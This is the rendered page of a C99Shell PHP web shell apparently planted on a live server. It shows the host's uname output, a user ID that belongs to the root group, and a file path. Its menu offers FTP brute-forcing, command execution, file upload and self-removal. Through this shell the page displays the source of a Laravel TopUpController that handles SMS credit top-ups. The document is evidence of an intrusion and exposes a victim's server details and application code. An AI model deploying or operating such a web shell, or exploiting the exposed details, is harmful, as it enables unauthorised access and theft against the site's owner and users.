!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TopUpController.php (6.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Customer;
use 
App\Models\Invoice;
use 
App\Models\Report;
use 
App\Models\Transactions;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;

class 
TopUpController extends Controller
{
    public function 
request()
    {

        return 
view('admin.topup.request');
    }


    public function 
getAllRequest()
    {
        
$customers=Customer::where('added_by''admin')->pluck('id');
        
$topup_requests auth()->user()->topup_requests()->whereIn('customer_id'$customers)->orderByDesc('created_at')->get();

        return 
datatables()->of($topup_requests)
            ->
addColumn('customer', function ($q) {
                return 
"<a href='#'>" $q->customer->full_name "</a>";
            })
            ->
addColumn('credit', function ($q) {
                
$formatAmount=$q->customer->plan->sms_unit_price $q->credit;
                
$credit=$q->credit.'<hr class="m-0"><span>'.formatNumberWithCurrSymbol($formatAmount).'</span>';
                return 
$credit;
            })
            ->
addColumn('status', function ($q) {
                
$status='';
                if(
$q->status=='pending'){
                    
$status='<span class="text-white bg-primary px-2 py-1 rounded status-font-size">'.ucfirst($q->status).'</span>';
                }else if(
$q->status=='approved'){
                    
$status='<span class="text-white bg-success px-2 py-1 rounded status-font-size">'.ucfirst($q->status).'</span>';
                }else{
                    
$status='<span class="text-white bg-danger px-2 py-1 rounded status-font-size disabled" disabled="disabled">'.ucfirst($q->status).'</span>';
                }
                return 
$status;
            })
            ->
addColumn('payment_status', function ($q) {
                
$status='';
                if(
$q->payment_status=='paid'){
                    
$status='<span class="ext-white bg-success px-2 py-1 rounded status-font-size">'.ucfirst($q->payment_status).'</span>';
                }else{
                    
$status='<span class="text-white bg-danger px-2 py-1 rounded status-font-size">'.ucfirst($q->payment_status).'</span>';
                }
                return 
$status;
            })

            ->
addColumn('action', function ($q) {
                if (
$q->status == 'pending') {
                    return 
'<button class="mr-1 btn btn-sm btn-info" data-message="Are you sure you want to approved the request ?"
                                        data-action=' 
route('admin.topup.request.status') . '
                                        data-input={"id":"' 
$q->id '","status":"approved"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Approved"><i class="fa fa-check"></i></button>' 
.
                        
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject the request ?"
                                        data-action=' 
route('admin.topup.request.status') . '
                                        data-input={"id":"' 
$q->id '","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Rejected"><i class="fa fa-times"></i></button>'
;
                }else if (
$q->status == 'rejected') {
                    return  
'<button class="btn btn-sm btn-danger disabled" disabled title="Rejected"><i class="fa fa-times"></i></button>';
                } else {
                    return  
'<button class="btn btn-sm btn-success disabled" disabled title="Approved"><i class="fa fa-check"></i></button>';
                }
            })
            ->
addColumn('created_at', function ($q) {
                
$date=formatDate($q->created_at);
                return 
$date;
            })
            ->
rawColumns(['action','status','credit''customer','payment_status','credit_type','created_at'])
            ->
toJson();
    }

    public function 
requestStatus(Request $request)
    {
        
DB::beginTransaction();

        try {
            
$request->validate([
                
'status' => 'required|in:approved,rejected'
            
]);
            
$topup_request auth()->user()->topup_requests->where('id'$request->id)->firstOrFail();

            
$customer Customer::where('id'$topup_request->customer_id)->firstOrFail();
            if (
$topup_request && $request->status == 'approved') {
                
$wallet $customer->wallet;
                
$wallet->credit $wallet->credit $topup_request->credit;
                
$wallet->save();

                
$topup_request->status 'approved';
                
$topup_request->payment_status='paid';
                
$topup_request->save();


//                Report
                
$report= new Report();
                
$report->customer_id=$customer->id;
                
$report->ref_id=$wallet->id;
                
$report->type='topup';
                
$report->sub_type=$topup_request->credit_type;
                
$report->amount='+'.$topup_request->credit;
                
$report->save();
                if (
$topup_request->invoice_id){
                    
$invoice=Invoice::find($topup_request->invoice_id);
                    if (
$invoice){
                        if (
$request->status == 'approved') {
                            
$invoice->payment_status 'approved';
                        }else{
                            
$invoice->payment_status 'rejected';
                        }
                        
$invoice->save();
                    }
                }

                if(
$request->status=='approved') {
                    
$transactions Transactions::where('ref_id'$topup_request->id)->where('type','top_up')->first();
                    if (
$transactions) {
                        
$transactions->status 'paid';
                        
$transactions->save();
                    }
                }

            }

            if (
$request->status == 'rejected') {
                
$topup_request->status 'rejected';
                
$topup_request->save();
            }

            
cache()->forget('wallet_'.$customer->id);
            
DB::commit();
            return 
redirect()->back()->with('success''TopUp Request Status Successfully Changes');
        } catch (
\Throwable $ex) {
            
DB::rollback();
            return 
redirect()->back()->withErrors(['fail' => $ex->getMessage()]);
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--